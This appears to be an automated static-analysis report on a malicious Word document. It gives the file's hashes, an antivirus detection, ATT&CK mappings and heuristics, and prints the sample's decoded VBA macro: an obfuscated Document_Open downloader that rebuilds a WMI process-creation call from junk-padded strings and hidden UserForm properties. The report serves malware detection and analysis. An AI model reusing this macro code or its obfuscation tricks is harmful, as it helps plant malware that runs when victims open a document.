Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f0f5f013ab26d3b0…

MALICIOUS

Office (OLE)

176.8 KB Created: 2020-08-06 20:08:00 Authoring application: Microsoft Office Word First seen: 2020-08-25
MD5: 32f4f62be2144b5b0167c871b1de3757 SHA-1: 6a15bff69719b51e06faad941790f63df5125180 SHA-256: f0f5f013ab26d3b00b287eaa4f95787de6f79f1655fdaba066db4dff469588df
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of malicious intent. The presence of a ClamAV detection for 'Doc.Malware.Sagent-9238175-0' further supports this. The VBA code appears to be obfuscated and attempts to execute commands, suggesting it acts as a downloader for a secondary payload.

Heuristics 7

  • ClamAV: Doc.Malware.Sagent-9238175-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sagent-9238175-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4079 bytes
SHA-256: 0348effa7d284cc42a3f2d843cd97ecdeba2ca6e6bb60a25046ed7a967f1941f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "HCOYNvjgdiouinyrpgo"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
THHGNylmkgaf.ITSXUpfhdiido
End Sub


Attribute VB_Name = "THHGNylmkgaf"
Attribute VB_Base = "0{2C06378C-F5ED-47EE-88DC-5010FF9F3920}{50059EA6-A84D-4154-A9C3-EC1253715DEF}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function ITSXUpfhdiido()
ZD7ÁRXn = 1
Do While ZD7ÁRXn < 1 + 9
ZD7ÁRXn = ZD7ÁRXn + 6: DoEvents
Loop
RMEZKsfdoebfdlr = Chr(THHGNylmkgaf.Zoom + ((30 + 60 + 30) / (4 + 4)))
ZD7ÁRXn = 1
Do While ZD7ÁRXn < 1 + 9
ZD7ÁRXn = ZD7ÁRXn + 6: DoEvents
Loop
Dim MQtfr As Integer
MQtfr = Len("WPDQNM")
EYCJNsstvshz = "2348*&%7893T289 &*(HUIGSAU76787GSGSG3D2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dw2348*&%7893T289 &*(HUIGSAU76787GSGSG3Di2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dnm2348*&%7893T289 &*(HUIGSAU76787GSGSG3D2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dgm2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dt2348*&%7893T289 &*(HUIGSAU76787GSGSG3D2348*&%7893T289 &*(HUIGSAU76787GSGSG3D" + RMEZKsfdoebfdlr + "2348*&%7893T289 &*(HUIGSAU76787GSGSG3D2348*&%7893T289 &*(HUIGSAU76787GSGSG3D:2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dw2348*&%7893T289 &*(HUIGSAU76787GSGSG3Din2348*&%7893T289 &*(HUIGSAU76787GSGSG3D2348*&%7893T289 &*(HUIGSAU76787GSGSG3D32348*&%7893T289 &*(HUIGSAU76787GSGSG3D22348*&%7893T289 &*(HUIGSAU76787GSGSG3D_2348*&%7893T289 &*(HUIGSAU76787GSGSG3D" + THHGNylmkgaf.KJKYChxtawtdpgno + "2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dro2348*&%7893T289 &*(HUIGSAU76787GSGSG3D2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dce2348*&%7893T289 &*(HUIGSAU76787GSGSG3Ds2348*&%7893T289 &*(HUIGSAU76787GSGSG3Ds2348*&%7893T289 &*(HUIGSAU76787GSGSG3D"
ZD7ÁRXn = 1
Do While ZD7ÁRXn < 1 + 9
ZD7ÁRXn = ZD7ÁRXn + 6: DoEvents
Loop
Dim Oat7ÏCU7À As Variant
BNIMVvwafnuepnvg = YLPSRrcaqfmwglml(EYCJNsstvshz)
Dim k8ÓcbRRJYey As Integer
k8ÓcbRRJYey = Len("nXUm")
Set AOOPVxutltxgkxqcs = CreateObject(BNIMVvwafnuepnvg)
Dim MYsmbE7 As Long
UZEZJulglrgofnt = THHGNylmkgaf.HZYLRwaxrsvhur.ControlTipText
Dim VvSOR1Öop As Variant
RXNRPmbqcfaej = nsbuqwd + (BNIMVvwafnuepnvg + RMEZKsfdoebfdlr + THHGNylmkgaf.ONWGTkthwmztl.ControlTipText + UZEZJulglrgofnt)
GoTo VB1ÍlR
VB1ÍlR:
BMFZIsgfozyvflk = RXNRPmbqcfaej + THHGNylmkgaf.KJKYChxtawtdpgno
Dim u6ÑPouprUqC As Double
Set QYLRDcythtmjzfdjjdr = OZRORwnbdqlfapmy(BMFZIsgfozyvflk)
Dim h2ÀqGNdl As String
s = Array(n + "jsdd", AOOPVxutltxgkxqcs. _
Create(QSNTOawwrmpdty, NYRJHgpstdfoxypzku, QYLRDcythtmjzfdjjdr), INSN + "dvvew")
GoSub HSO7âRMQ
HSO7âRMQ:
GoTo BGI
Return
BGI:
ZD7ÁRXn = 1
Do While ZD7ÁRXn < 1 + 9
ZD7ÁRXn = ZD7ÁRXn + 6: DoEvents
Loop
End Function
Function OZRORwnbdqlfapmy(YIQUCrgrwrkkxj)
ZD7ÁRXn = 1
Do While ZD7ÁRXn < 1 + 9
ZD7ÁRXn = ZD7ÁRXn + 6: DoEvents
Loop
Set OZRORwnbdqlfapmy = CreateObject(YIQUCrgrwrkkxj)
Dim dgK8Ye As Currency
ZD7ÁRXn = 1
Do While ZD7ÁRXn < 1 + 9
ZD7ÁRXn = ZD7ÁRXn + 6: DoEvents
Loop
OZRORwnbdqlfapmy. _
showwindow = PMTJKdeoqqambmwajm + GYJPAcvkbyvhtrcghtp + GCSYBtrdcaxgn
Dim uebuZa As Variant
End Function
Function YLPSRrcaqfmwglml(RURQQvvpzkkezvcywov)
PWHCQoyvxlmhdgq = RURQQvvpzkkezvcywov
GoTo OLAE6ÒgyDT
OLAE6ÒgyDT:
FETLHkwufcrggooceuv = Split _
(PWHCQoyvxlmhdgq, "2348*&%7893T289 &*" + "(HUIGSAU76787GSGSG3D")
Dim sQvHE5ÃZ As Integer
sQvHE5ÃZ = Len("cIRwWF")
AOIAPhhmshagf = ms + Join(FETLHkwufcrggooceuv, e2)
GoTo cDCrGvM
cDCrGvM:
YLPSRrcaqfmwglml = AOIAPhhmshagf
Dim V5Ü8ÍA As Variant
End Function
Function QSNTOawwrmpdty()
kqhlwie = THHGNylmkgaf.MVGPBwhlmekepwn.Pages(3 / 3).Caption
GoSub ZdXKX
ZdXKX:
GoTo U3Ä6PeXB1ÈvH
Return
U3Ä6PeXB1ÈvH:
QSNTOawwrmpdty = YLPSRrcaqfmwglml(kqhlwie)
GoTo aknR
aknR:
End Function

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